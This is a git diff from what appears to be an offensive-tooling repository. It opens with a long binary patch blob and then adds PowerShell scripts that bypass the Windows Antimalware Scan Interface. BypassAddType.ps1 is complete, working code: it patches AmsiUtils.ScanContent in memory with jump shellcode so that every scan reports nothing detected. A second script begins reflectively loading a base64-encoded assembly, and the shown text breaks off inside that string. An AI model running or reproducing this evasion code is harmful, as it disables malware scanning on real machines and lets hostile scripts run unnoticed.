ziP=V!m_9d7CzPEY^7dKCngc|5IAfJTOFa@|{1Ar4y!xCw!$*!xFVUBTdRIu5xK2+B zX_B2*n#2pWtfrXlREg_!xu%${v?0BCy4zF*W>gW1S=IUH#wR~cNYf&^z-eZSAY!fE47Bi8w5hbRxMQU}}##ha! z&AW7hB|&Z;rhZM|?pV|HbFFl@J=6#i0|t_Vl-457y$nm7?x}IptrovNtbGIBHIRMr zI{Va$^OK9P>ogJMg)#9R>hY~KiD$LsuBVgk5GFZ$h&;op7&fkj<4w0N3ix)v9baatp)}0nTt9NwcrvEb7W5oJxxA z;5n%_?5En{lsGujGxT-h+6#6BQZ}bm&cW=4yyokAKfEhCHKBT zr~ar_n1pRYg+u3Y;T(8rg`0Cm-0VxrF8p`YP4COG86uc5{0#u^Y=pm(8?( zy}(IJ9>6BLE~FQ=s2J4SY9Uf`FDJ;NEC)=43mfCEz2U~^8f>C=I218w4i#5dT5v7E)he!wE1OU4nG~?=Iq^7u-z@0Tfo?s@vu)%%C@(%A7`ogO1bdq1qTWp#Y*YD9{uAm@Z(~CA)izE3NkyOG7r@Tda9&erW0FWMjlFk8p08vnN4ga=mB{^oORa ziv8RCG8X$I#46|>nqV`?mX*~Na=CGJ*b(C~2I}Rqd&Cyznx8P5OqSfUGJ1=FJJ5N6 zi8Tu{o4_*E0nM*6nO3K!5r(SI0*Pzs*W4AKo?v%O`_RqdwbO)~nT}Ciul(+BC0MZB zwY1djC-=<~oyjekX|L4S$mTeAt281wyery2xj}E4=AMrz(V(uESo^o?olXpWEq;-J zv1d$ZL+M%!n*wMjrP_co9^KKbESG5+*tW;8qfw@akrhUhg`vN<*k_1DS$RZoZ4U;l4j>95NE-#mkH8y?Us#g>+P}R9vhg+P3Q9X#LyliI@WfwSW_AF!fRrPEr$1jOAA$MuJ z0I^I4h*@3fkh*608{8PlKlUu3^RNX%YTt6{yoh$+NLoGKCgTxBIJ&Zq?*^jDmJ~*ar3>(5@{vQ&nUKaHx#f z)ud*pST5V6{dPAeE}a=)z6&7YgCz=86xeL;c3s5|L`r^R7gdSZQqj>T^2)Zmli6)V zIhG-I)K1!@udN6VKg&aEIS;iz6J2Yn>&2cP8I2?&BMe=-ud3Vngy64bwBm(izZe}? z(xSzoFtc7`b-W`9dXi7URX%q%%UMFT04vG0pj)_JMpe-kjG(N#ViFwnTR@Bt{5Dj5 zQdfRthRQ=oD7%fvcH^vPMMN`KcXYS%bx{ZzW1hrdq6X=rAR5V&1hQrHQ@`tOjvW6xL`hm2A!kd!#U* zdW197QH=-t4XLe16XZ2J3)8%t0j1H*i&}tLL*mcG_{Yp@{%mejfII;w#xAat)SD^G zG1qeNXG^exLsxu*MV^@@*Gi|q=s}1`YBevUN8v2hFJr}>b!UEr@fkdsMj(bl)gctE zVVg8lBqL1j?JjL?*T^Sf&T?l=*m9VGmxhV?bM|a`v1Upm1`*z8M7Bu0XXr-vVc8aCK`f?GAOY6NG8J)M(Rr zcPd=0Lo$ymdzD03T-O4du0#=)fSHTgKPC6^)-gtpT2#XO8Y^hvlAaqCf75WPQw!b7 z=LaK+(nehrngq0+o8p90s98UdMP5JVFO$-hI3+Bcr{kB~yQrr+)TDz*X3wCGNHU5b z*N83iI+Y^X#_Xo($6p+*|89@DhSe)3jnEU{ zlHqq2Ns=eirPbc;6e@Y~iiM$bZo%wt z9?sRscYVZ$pdXT1Q*HQEEkfwE=F%=8)n{!(2jE5OrVMJ_Q;#=ac)f!&kGdhkw9UnI zu~Dv{wJ~c+T-s&FkrmCe7zEibw9t#QHyu{$fehrI_TI4J|i_2AZ zr!iIHVhFv9jJztNEShY{Rf^_uht0f~+lB0o1B^7jR_$rqQ)=#E?R0vI*ZN<0px305 zvVw%fyz-2BP3|{)VKOfiCo66Pff~98ZQ!l@SqQA9cY?An#lD7Sd66N7$%9;p6mDM- zrLLK(dGHH7;-TA)l^DdDt`L;~k+pRWK#JRjL7~8W))Q?`RT^zNNnp~~U2W$0(!R+e zS8>beq&&`W;JUL8eX7lyq8jtddsRAd+tny$&v0trMqE~I|9pkM+(|OiGt4}TR?~Dx zuGoy_)Uh2mjK&xA5UyQhUQ^<1=#&X|IyUAd7|KiakRT$R!Pf03biolpiqh8*ehzmX zvU^iZBk~$Im0!qwOTR{?XakKi%tVtv%tx~DyMTOn^H6)BD+Sy5+rMpRk8A3DUF$U> z(481Kc9wuNCKb2Sa4T{2p{~CWQF^F+O6@NsD3!I-l%%t%oSZF2R7ndgYhJ)JznQ%z zTb_{kdhqfuq^^1iBkwE~7kv+oFAT=NG$y5&DFI@UO4l-sV^~E-vWJGT@O`bzUb@Id z8vMdXVZ10+F)$1JF`eZQ?LZw%8-jfj)f(PF5s(`QL~5%X8j#NjDV19pjBdS0uQOBU z61h;_?P`?#x!$YyLY0RWnc4rO(t5r`Dbv8^?BQk0 zHnl!v391wy)XEX7o~AF!L^i@$JPELh4CC_dmI$0Nat#)KRmlc%xe$SIle>3mx!4u6 zrW9BzBp0|i_QOsnWNN4ggi}1>>WFH3g0!EfNkS&mU2^8}!8SS7!k4&>sx%taCsB09 ztEMwKs1{a*R<~q5qM)bI{vTSc>REi{q*jK!5olVTpxa1UEsD>a;m!fHB8)km0G z#@;H?SCp}-t>M&C3F{!Og9e6n>2itkL3cFE#a|UsBdy?Toc7$9a|IJMBe_{J{Afe= zVm`&j?IZrvrVB^6l%}}Z02zV(+DTvXY#U)|ZoQb$6HM_zq2y$l-&xC;DYGdpEcQ+P z!j;q8m1SePxRl;*Ak*0Ws)DsB0!j<@0#WO{!j3tQ(be5&?56~N2yP|U>{P~>btFzv z%0(flrgHZtJYZi4<>ZtjmE*UzYc@?6S8FDvffd&|Mc~4qXW3vg3n{$L!?Y}GB)_jlN--N< zlOMv|?CkSeTzEes;E|e&oz`fh4AgXTYvx1gRLu{t4=iTso+bEHGcND^d1qsG5hTyi z8?>5KNsilb5Q^TUBTBwAorEM)&ukbgkzXCpSk3ZErV&QC0LdBvRZHILR339`WIZt^ z9}XQ1jq?LFo6oa!rRyrJlKIZW;YK-0bu=cypB}xua5TszDGw1{1Nau$HB~V** zYQ!BTK zEooeDsd3L}R}N?Vnp*Sm$lg&VURu+ds;e+hSi%RBnR{b8=11C2b8F&;+VN_bIESfl zyBb?uurg{{=n5Cfl#VjW&9WMb@Cw6lyAVxBZ1rX7ZJKL&vE*twTOCV$5_?KdJv*Tl zQ;WE0ny+w1>OxFKqJX~rjYr6KGa(kkzYkvUN|cW)*)S##b%XGIQ5b14j>pDO;ifnt z@-*ThZU_xWZ1IbYWEr1E8K;WOVfD*K5Ix-?RVZU4i_p6L1%rQW+!R>rfMRskdUgw> zW^s_~%>4;kl|AyJepv_?BWmDx#A-vyJWW0ZYXx^-fFwNPPYb+fuHg2p4DcjqHIT8JH$S0< z`P)`PZ*Co^W&gMrqyH(dhLNe9;j$e}uU8&dq$2C_iW`o<}STaXYl+BIcK#t6f^snT_5OAK|Jxfzugc zPsBpxnXn=>b)iVViELm(vGsFp9LL+yh^J$8+-|>xuLd)NXkK@6h7U1a+e|cE*6%M* zgzi=Bk#aFZT0^#3Xx>)QA^d$_-T}|ko}}S~Wix$Q>;^Br*h^c@uK0?F#ikG%Bj#te ziqOy*MtHhZX#ES){Pv;G&NV&s7)@#kJhEmPByEe)y5T#EqD0iE|?1V>T zylE5QBMy;bVp=B%QPC|vTyxy!i^&Yv7Q(L)} zAnJA_sOgtgf&ts)FyPjcN{#4iI1@0e zP)p+;^4}CFkt@|$fv>ur0G8flMqM92FfdT09YtO95xo^Z30SQ{B+MVr@>+w3`l1gOlfickxX? zHGhchxG5!chE~7(CUzjQHhhasC7Pld$;UQZbxQ=@fTk~|38aAh_%h*aime|k(75su zPjy6x;zXCw%TwGA0Dn8Zeql>4RSCa&sWzGh%QWRJDyiM2F767KVfc$-yivj2sB;^X zyg{?NU{*q}WFc&Xbybm~s*sUiUCVF_1fgE7buE(DPGr*{$`49*JCdNODi?k1m=qhD zyfSt;nepok;SC6q%hu3HCM*AYG0-fl2JQZE8AP=LeXPJQyy#%VtX?z=H$+fexd9e_ z4R4xp5txaJ$vh-Wwwxq%Uzj(|*Af!taEu*>CUsPscv25L^uAkV^euMpx zlhD#@B#3@5KjM`)MtxAdKTt_o>`=hR`1Qr;@t>}>dfKKs#p0>$m5_SImebw}XX_+!-7^Eey#E$B1f(V zkZ)DenbhfQoTNtvWCArg9_X$j`xq_K6sr<9PxC0FzdkyqGdHn4IFT+ta)+YMfdiJ` z#S@B~a$uKRsu7vvJ2LH)eImMP8M7C~Vmiw59;Qf^vQU85uvr;#M3}R0sfNO0L`iRU zS|##@b=p#;E)UBkzDyB0vCZx~_!0ewaa447-FnCF15S!iVm%098=84cPJK}MA`IkF z$%L3h_+=3xU`i_YarRF(5NC3Ew;kNzfwgiE9j5BQjUMPn6opGXrC#Me0BpbPQ`SnS z94=eNgiZ z^Lk;xR+_|<#%+z)O4E4ZS7OwfB+0dWEoRW?QZ_idcVqAI$p`D3Q#c8Wzcd-mBXVMx ztMO&+P6lhg2LW-@Kw;UqvWi4!(+X>1a*9Saye}NZ3IqpIdE)JzsE>L-))M!SZi_Zx4gWs;k}~yQByD^Yb|hreN%_~?&SME z4S#F3QBCrmTH(NJX_V@gg)uFB3rXHUXOjIH#Io6ocPvDE8020z78`_xBF1BcfaxRdGrz6@>#(U7DfOxpQE#1{ zDx8c~s#_9>qOCO@O9@tw@f(eGS<}@m_eG!=@*$f5*+Jg5$uR+NsliaB01KP6)VvLC zoJ3_8o44?3jW&~{IyhNARNK-NtA!-7FszVPc>hMsE1}kX!_b&FdP5j$sjF8)8C}~c zt45}{FrzdY3z2rB!2>-Dr}~<`MvF>7I5AU#JvdO|=3`}*xW6BT+ysbCp+wDh>x#6S z`;^m$3M*R6+G1KaZ+(1};n5U>zN!mD^%LvjmdLwMx5I2v&10l&w`hosTiPYkN0z$~ zh|Y<e|qtq>-6Kdi07>^{Y4yj~r8q@d4ulVhZk3@-1`z+#~ zX!#@tMCTlp<3Mt9sjj(QZxK)^%XLjz_^=)&puHisT`TUFmpZp^$-0#Azb+pWcI-kD74h_g-?)-pI5lFJxUgLYW&>5~7dt!Es zHWEUuzLRZTZk8Mxr`nI($}3RcMV%0*Yj$<}sjo^JnKQc;kqS%kesi&gA!u}Gh6`7k z-wznANx4w83bhk3YDQmtmsgXD21H}eY%!PF^u4_xp|ztu$Se|WL^2kcB@zX+-EHk* zw*6nHR&+a^UA0HDS*uOG$fe8m`f$D_Jb>A)58A>=DEHenKHf~H_CdcsFKkO!l z%v?&uU_6nF%G|VL$T(U@oAyAl14z&+rq*tMO~qLlMF%hgsA%qXT)`0>lLn1yiH+&n z)R7bIz<*xQ9v4fKi>l0NQNhT$S;}2~j{C$Cq77p8 zZfCn^51iHFV)H1z`K-4zX_b3CXrfr}=QL46#cld~XZGe=9p03oIY)Ackv zGM>sDY?fVvZo`h88fF$$ml@Ns1Mh6vKsbRuW8eJJLWe$kS+v~^?UR?ApI_TapgBbr zz&L*2Nu(KsE*>?zwr_UbLM^W|OOUv{QC#)WkWc9;VSt!(g*ma3YZL4&%w(I{-em>D zT=EW??AiVr%{RO&BDZOeuIN2een)~ZtP$jCY*Q;Y_}r*Q%l;H*lYFm2Cy(&3L{o#76J z+vGy&sUzrc?3x~Zxo6<^P}dzD_p?>BT@*A&(Y2?+P>N{zSYG5LvkIYT`BXTrg^5iB z8dvuZj$qTVs&U^DkZMv}9+x$00KHd644Ft$XUYz(BuhnY7tEnXN99olGgp&$Q~ z58moGuk0s`qy5xXhTL*FA)g}BePh_xQqjSV&;k+4s79@)FSHlthwCil+X4hP%Ee@Vi`gfVN~)%x33TPbr<0& ze|M=EoZNsYtmD?&^z2^rg%_PI_~BM6IJR1+Wo+)iK}^AjaavR7)5lhc$xUiszGxNC z75nmy=dG+_x{^66Y5x6r8>=bF#bh08ed6=GtAx6Z2yAI_7#@Q{5m2wX0G$FeBbwZ|@Tmzh6b z9CVkcOQqTNHPhsf#o=A&GVq7@v17nRrE_xAo#k~H&7u8UwS3b*-) zW=DD5#nn;_cHd}~hD41rTfW`Z&L*$)g>+N7p4x6Pfi6jlVCA@wTz`S+^L|^Ri~OcE zn6US8!s`UXr-TKY8R6$BdHM+3nqkGbmdvp;g%RNZMyl&UaSw% zRkLl^^oph`ty>eTyk6JaGy^hPOsK}M&{em)E?3;GSK>wk4)tZ1**0B->KG!t!O>J< zRu#i5Kpl&OF{GpVTTf**-mD)xx%yLDRb_xNR_x}?kgLLkjZrkVIirg^&5yuP?IGIG z6J8qHOlptlDW3P7Em)RZ-AZiqGU4u6Mnl$)GV140(H)jDJEp(sSv-omMJ|4HazofA zux;?MZSrp6(KevOI9NN5%bndc+celn-gLle;k(qWh|JbPn&KQlDEBC1?IlBgSf~Z1($%v_nc0HxQJ5Z!LXJ zkGI4$4E5_)aqSb~HA1#zr!TfLh*stHwHiVBr}cgxn-ek&+6*tc#78tln-J)8s-s0$ z1vTCN<3~SNVDAl;0`Ksx({`VbD<-WnA>*M_9-D82kxnL;xM**4x4F28$WeE*3Tgpr zs*frvcFXN4Hh-~NVlkrW5*1@1uW5>s7~Y2>DvMTw+t6(jHC?dWk;(JV$&24c5RA9wK)c=Aq5B=9;08S= zc2$CA%QI0B+AqE7OGPi@KimdqyzUWpLj z=^5O}^0t7Z1MCPuR#oMc;cPamzF2IDyVG;CGO&~0UvW(MFJ#XWk^xtb#`1nSF0sU& zT9xLbRdsuYo>sLLUO78z765H0-zxqrD7C-Yv*A+JLdsoPHXs3TyL$#+9Vg zdhn5XF+)moJS0XN&2`VnGQoB$+RTkbf7MYz`o9dN?f|6ncuec?)*~dMJELcc3H_Bi zQ}cp8qJ9|=qjPz!hws9+)(5OJ$B(_4-7dQN!cupWAlK>qF*}$u+E*J5ILf^`p>eFu zAU+~nV7)1a`ih-kqEU1WM_W*;96_WV!}ef_AeTySr+Qh#nIov&;HF)3wj(Ura)*jyA~AAwNoO@R`qzI%+%}TUbq>DD)VW)_;%@M)&!-d=BVEJ%|TkHNJ+QRlXiCL{_*V1Xh=?tr}Z>oo^ z;wK}bRw&zqA;LeiQ#D@Ot{680qEIXM@P!ZCtkSaI#de_BYO}6PF_^`7YM56;NFg%x zP!+RmjDQ;3CSgvmh{|^Z*xjK?nbWpJxUB_lonLkZ=*o?o->KWr3S}#uTNuX`Qk$3V zTbJJv(lJ#qXkUn3)x5sy*|Tpk{24Bwwk@6_I&`76*@mg&FlNW}3#F~=ssFpx(lEBx zhOU6NEp2*(N;tP`S;dSbf?L6)UTn!zwVK(M@_Yq10>9j5h6P*ZvPq0z*s_@n-Pun> z;>RzfXN8MN(Yg_`KfY$<7E{P*bgV_|Q%h}=2&A1`^>7OzDgndty|s=GyxAUQvf zKi|IoCl5dU%B@R2v-!)DUm5<7j|Hju9UWZ)i44#)eS`hnBtPBLxA9m+{{IJQrB^vrxPOPo78b_@8ON!#!AgZz?mZZ43Ro1ULAXUAL;O+cHQ!!b7t zy=P{xTzY=cGyR-@#Sg{tU`Nl69FCboaLjc<+fQ(g9rE^>3p;wYf8SHyhC}i*y#q%n z(baSAv6Ae}Rb=Y`B0g!qANp|T{D5b7CxhP?wz@K}r?&Al(r_*sCL$=BFbVNX$`NzwVC4h8^TOf>+Ox>c=5b z)RB^3c}N`X4|VJ`xsEs5Gl}*W4J10Fd$M_%zAMNEiF{A7r^s)Y{3bG8J#0D(N&&~p zg7JX6pm7z2v>rkO@9V@%c;n(N6xQC&L3wb!T}v!>7b*hD9zlJ znV;zD>e)R-D-`kPXzc`9=+4hi&6VGt-Ql}LVs1}&Clr1l@N{QSF%xuj?;Bv?}n#85;|x8Oj2)_jGh8??b9q&QB&mhv ziB!NlXgvts%QO0$kROR4dFjf}?@$h(ndr(d3`T>BHe=43qvy=b{N&s&lBBCSOh~uu z>Yn}%Z%oiiNpeDU$xlL~L8Bji*M7c7p6H$56r4FqUfFYIaekV*nEocstE61dnFJ(y z&Xj!ioY`}xRLqc8%n&s@l*&nyQDyXWvJ8^q4yj6hq_z&ybQQbz%C8OjgB6sb8oZND z!$D0sb2NBIu!?|w*pYLS6thNzg|P6r7J85eCLHx-++2noY#o8bhrxODQ2w$5A{c=@ zrZu#HUzT)(Itg*&G1x%N1^8>w59OI!u!XqntJY^mdC8&Vs{M&oVa)z8=Ayrp?_M6N z@=8{zgGpY}p7+ce$dw=?j5fU^EA{5qpH5|^ zSu=pVX!_IoR>-{Rkk>8cC8MO(&wlELraBhngs;BIKVk}-(C-luyYd&l>+0(26vosZ zforb05E0hzAV~KU);-LKN5IHEN8r_7LzfDAy0x$qlAm*PS|xNW^7w?J{f!7P?(TUC;Ji<%RsHSV4Nq@Gbf3p4p$M-F=$SdSz~E3}GFv09yZv)1Yi^%Zn)|E%I?v>@9*6AI|=ACM$qm`M~>2Ts6$IPbEeel2?EQd zs!x~5-KSgFLXp>VX)QpTbe>7@w0Y7h&XeY`pYA@*<2?7Cz-9tA7urC2rQ9$f~E)Je}$(n8$v4 z4ze7Gu;Zy7SV>;wetTxlv{Z3O1-(~bL~5z5wFFYj<5tV#u72nE`kf=O$9FvmhKLUy z#-tx~Jo~{pIxwn=i>@mTyM07(`WfTSJ80k!s!q9m6wL=Iz;NuGXhhnfbBEbouF?z6?#7KgIb;=kJ;M39TufL`3AloV;jm_w*IKy?cxd zk=?nH7djD7km^rl1VA3)n4jsH>Nz`?2w&a|{lbF6g|CSDzklEDhWsL6GcBb^7JP8OBJ>)!Ea zNt7Qc+G$#-QKf7f70ReS_(4Csq4g0c%AfH+6EzvnrE_*$=4_x8ZF|S}wPP^-ntr$# z&@W5{mnnecN|f-=(}8>5MCqTDRJV=0R2gNrNk1T#I=c!|Yq;USM5ohui%@+fGuT?a zGPBtB2^|AqOsn>;MEAB&^=y(Mmn!(Z;Dh5+)*Nq=y7`oH$(yA3J#TVt^XWNZNk84a?K2Y1hBqni^uu92ezyzJq8Xh2 zt}sRz@VzMDdlDcWKz=2qfAJN%?K`3CyP@lQq3iqFYkIn=A(2Nqhkr8WJ}PPfW8+_H z>9_q-Uh+$+k8QsZ=WnDh2-AqVCj8dXm4Io`-ta&aosINq;WL$&&K3UY*?}082BztD z%q`4MF_rH^Lt+*x6}2Omu$GlM{@kuz=4bgqw9sAXIfgXXs5!g-ObppE!>?N=VK+>d2 zX}fyPQr&3V@~$pX^iY$wzfPQVw~n3_Msx+zEl)-Q_uZo(S$lj$88Lu9PJsRi9ZpSM8ub|6Ro0W zUmLX4XcOZR5s^qrRBEx62#@D>qfQ(`!=1qFL%=*DXuml?qQWKJdl6Tk-#!xZ0;VF7 z-XBDl4d@E@)3x|{Zf=?$h5iyG!9*@d$xqMjP;*KJg(^Q-69Vi>bV;!n_@ zmeB2AS629@b}HnYMEhpyRd^{i4WFcV8IS_L$rzUkFj%Da(Ez;KY34GFiHMwjS<;(+ zIWIklU;gpBp6x%AaQUH8#M^_t$_NbCLNKn9o{7i$p^Eqq?U1Z(`;=swADKb%!#~NR z7V0-zkZo_-f3}J0f?x@To{COTxcV*7+}$gQ_3YSH-i#4Ws|te|ZXJVkzAzUb{M$2g zfVg^Q4w8J*xCf*%7(9|0vEI0z63E1jxD*4?Ao{sYs2I`k%UcqV?eQbvsSY)sbnkeJ zkoch_JES}H>^MrC$1;;qkuz7Ad#-48@~aPS5-!~>pk_d`jO;i`oI3k4CryXlMdq1e zWZeFBNpnD3c5e3&JxG*|A?-Id&zm_t>JvM*MsAFew9rhcr(4@*rh+8wnW->Ke^@d* zvqo`@Ld^9ZW}E~}YQ#y4NFbcX$gZPP_m0o^1U97Y_;A;*nu{GfD3G~6%qZt*u!*?3 zsAH4A+rLOvz(QY~E90{`^v&D9D2yj$yj}bvUtHNeOa9O?qfDTrGCof(yLWtv_|*QF zG|MxJ=PI5r0X;M4OVlr=#I~6VP5|~m`lhCZ^=tEmroePoQ~Ro-*7aBA!LO4DW2t0S ze)nG&tizTgMi!Z;i9JN@H)e|v69gBCkPvZo%DVmg`uI<*g^`dL)Zl!rkS-CM|G&NK zjg6zY;_E+gHpaR54%ad?K?XU?RHURORE-o$?soSmijz2rAr1<{ zXWy-ZTD4F`P^6%y5>kT%h)N)(2&7bi6r@y&)O-jPLQzXq+M>!IjOq_Y?eF(y|2R&> zC%1fA6XxE$dGqGYo7p!r@6GLDGlX49FTG!|if}Jzm_4%;zd0*aXXSZo&gSS012PBY zL6F(Pem;NrY&eQe&CBVFtUEoQj(*ctqRVcgsScve`N#$qdO#=xg(d9|xpy6nUeqV^J0al&G44{d%=;37C z;(*pqr`TiY`EF#>o)^9Y)FUWbq@S%okzY!6!{w-@!uEa_H4ZJRGq@D7v_^kSaA_|F zxIB-6(b8UDyA6&gI-xHw>gN%E&t+oYcxCibLDpVMcBweRdT(ThQ;i7g%h5|&50EvT z>Z6fHWAB^zlgH5&HJ$pEZC^V3dt-DmXOesCbdOZK>^VlAl{M&W!u3aYKC3LUcH)=@S^FAAH=H=ZY}#`9z#`-9f0E@ddYQ$r^p12l-F z#@4EvK@7Dw(Bti^PVX#(l|6T1+8w}C!H`OqG7b9Okv-7k$6iSiZ@$=BFW<7T+J)Dm;?2I@`hOROO0=m>p)fp^ehzS6G z;uwu~r!y5ec5jR|56Rpm8~p+4AS56#irOBkB3j0tk|0L~?ZtnprM}Im%9z(;q;!M9 z-yDUdUt1YbG^v8U;77yC_Ith!)@&%xS1mGb#I6QfF9l$h83ySh ziQ>hmUkMmz?*bj^Wo1g2tnEPdD%ok<7(p4=Fwnk;)x!~IgEH7E!vP=Hy0-{F3fps! zh@tQj7h#X+v!p3_9MW~)3xEMY)Z2plSJA;+JNPO1_rRzo}vGWHQ# ztBQpKa2OJKT7hH3I9gfg(au~QdX z=B!p8-rPONsK63;=umFDq+a4>W}71Le)LJnnJA1i1kZ)i-=k1Hbirw^@G|4M{$a*b zcWPv?T5##(=7ys!x}}a%S^B7MYA<$lQv{ul1V#E#%(>*G!=4LKz3ITUqZf7;d|mhJ^*_Tbls zb)J(miT%_oig_lWKg`KE}pjEVyjUYG^^3$^r zHf>QF3&qO=+1PS8C@qJBlIg=y3N7Ztp*38HLah(oYNvBVycFRuvbn*w1e*_s*Fa)? zfRDqW4IGl3yqhU zhPwoQg$K%Tq7WjKqr!RsiEHd6fTcd1$WNW%P9U7%4k4V#U4uq!hIk_p9O79OM55w6I*j~IpmqW#2Gab9^saL%LFB{?UGxu6>Q5S~prFoz$~ zeS`jAOwV=U#~k~$v9BLqMQm*7as=6SbsQW3v=Rzy&J_&m5ueygL0v=ujBw#Zg2U+) zYHrSB(}ol?fVJkK-c?$MAPPng9K$REvS4(_=x{d0&lZd|+KPw>8R(^;bzPco>|D*N zb2teLK`*%`IShR&(rhf|tSA(_OkcSf^M23ZN*EG6aCio>H|Y9+C}!8OcVRH#A-w+n=X!HdR10^;%%scAQ+ zjXLxSs5NN{5c<#)4aT4RwxaO!D6bV_QN1Z(Lp?Unk;;j=w!xN7#25nvKW_P0K~m@E363sr7f5aw<=D|V%)0|fa#7)Gq648AQ$ih4JSE62pbAANpz7=7-%$r~@l}*a z97hQO0^2bX!R!PaXG?q765_qY!pW5b4sll`2(6+7p;eY(j#1C~4T=u&RUz3Xsr0)gLh}~F&C`-z6#QgTWAcNTBVul>3*J-b z66j0m`jLivA3HgeVHjDTu2esV#*nW08~Pb&=N^R zIn&_CSPO?QrD#Os1>Oj8L>(XJFNF4o2BflE-nH+F;R?nhXSSa89si zQt&MJ^1vMHFR~-g2zo3*4)Nfuu7b zR0%6JD5=(|D?5t42oMEqF_`XT+W57kFG>1};CD$2(Z+y+3HW-7eK`eROTm*Vcxu&f zyzG-BR(-a|$%Exv9vfMyiM$}Q9@)sy%K(PkCr@ZYi~?xdF%6L~Z1tG`{{5Rwt& z+q5?pp8i|=lMl~acjy~G|LCdmnRVye-wb{?xNg^uZ$10&FM{ii9{>GqeP8+K8@Iij zH($N#kJfwt+I9WI8=o8ahk5eVw^yH7`StY|o_KTL`)fYm@w4-Paz4Jd^3yx-Soz6c zzS+F7@77n}|Loc6eb1fw_m*vceQu}!=Ye0{`O)0&uiaeO^2$5G&7ZxauXymK#?Cga z@q;n^bmXIWx6+~A2R6w2h&_Cx<5t5c+6MpZvV2rj&M-m|4Bnt|(D)pFer$`z~Zl}+Ebjbg1@a%z>LVfrP*saQd!fkkKuP`vH@7m0r&|9pp^~)fB9-8o$QM@H)>xg{(+HAd#j^| zABVSK83)6vm*HM2!ci2sRj+JS;V?4HnrVAx%{L9J;##$0$*))IwPMY61HWp!$2*^1NaYn5JvnHOH&h>|$Wl%}Nylq6ZZ?z08^c zujcK)p>I?D{fO{joV)aM+afwug5OU#uz7TJD_&Tq?ZMBn9SDLEAFmna-+$I?gSQKm zC7A{?4P+X~G>~Z^(?F(yFHHj{+BJTIcFg_KB*+@hG>~Z^(?F(yOaqw)G7V%J$TW~? RAk#pmflLFL2L8ty_%DH;lS}{r literal 0 HcmV?d00001 diff --git a/src/PowerShell/BypassAddType.ps1 b/src/PowerShell/BypassAddType.ps1 new file mode 100644 index 0000000..d499bb7 --- /dev/null +++ b/src/PowerShell/BypassAddType.ps1 @@ -0,0 +1,85 @@ +$code = @" +using System; +using System.ComponentModel; +using System.Management.Automation; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace Editor { + public static class Methods { + public static void Patch() { + MethodInfo original = typeof(PSObject).Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethod("ScanContent", BindingFlags.NonPublic | BindingFlags.Static); + MethodInfo replacement = typeof(Methods).GetMethod("ScanContentStub", BindingFlags.NonPublic | BindingFlags.Static); + Methods.Patch(original, replacement); + } + + [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)] + private static int ScanContentStub(string content, string metadata) { + return 1; //AMSI_RESULT_NOTDETECTED + } + + public static void Patch(MethodInfo original, MethodInfo replacement) { + //JIT compile methods + RuntimeHelpers.PrepareMethod(original.MethodHandle); + RuntimeHelpers.PrepareMethod(replacement.MethodHandle); + + //Get pointers to the functions + IntPtr originalSite = original.MethodHandle.GetFunctionPointer(); + IntPtr replacementSite = replacement.MethodHandle.GetFunctionPointer(); + + //Generate architecture specific shellcode + byte[] patch = null; + if (IntPtr.Size == 8) { + patch = new byte[] { 0x49, 0xbb, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0xff, 0xe3 }; + byte[] address = BitConverter.GetBytes(replacementSite.ToInt64()); + for (int i = 0; i < address.Length; i++) { + patch[i + 2] = address[i]; + } + } else { + patch = new byte[] { 0x68, 0x0, 0x0, 0x0, 0x0, 0xc3 }; + byte[] address = BitConverter.GetBytes(replacementSite.ToInt32()); + for (int i = 0; i < address.Length; i++) { + patch[i + 1] = address[i]; + } + } + + //Temporarily change permissions to RWE + uint oldprotect; + if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, 0x40, out oldprotect)) { + throw new Win32Exception(); + } + + //Apply the patch + IntPtr written = IntPtr.Zero; + if (!Methods.WriteProcessMemory(GetCurrentProcess(), originalSite, patch, (uint)patch.Length, out written)) { + throw new Win32Exception(); + } + + //Flush insutruction cache to make sure our new code executes + if (!FlushInstructionCache(GetCurrentProcess(), originalSite, (UIntPtr)patch.Length)) { + throw new Win32Exception(); + } + + //Restore the original memory protection settings + if (!VirtualProtect(originalSite, (UIntPtr)patch.Length, oldprotect, out oldprotect)) { + throw new Win32Exception(); + } + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); + } +} +"@ +Add-Type $code +[Editor.Methods]::Patch() \ No newline at end of file diff --git a/src/PowerShell/BypassReflectivelyLoaded.ps1 b/src/PowerShell/BypassReflectivelyLoaded.ps1 new file mode 100644 index 0000000..6160904 --- /dev/null +++ b/src/PowerShell/BypassReflectivelyLoaded.ps1 @@ -0,0 +1,2 @@ +[Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAIUTbeIAAAAAAAAAAOAAIiALATAAABAAAAAIAAAAAAAApi4AAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFIuAABPAAAAAEAAACgEAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABkLQAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAvA4AAAAgAAAAEAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAACgEAAAAQAAAAAYAAAASAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAGAAAAAAAAAAAA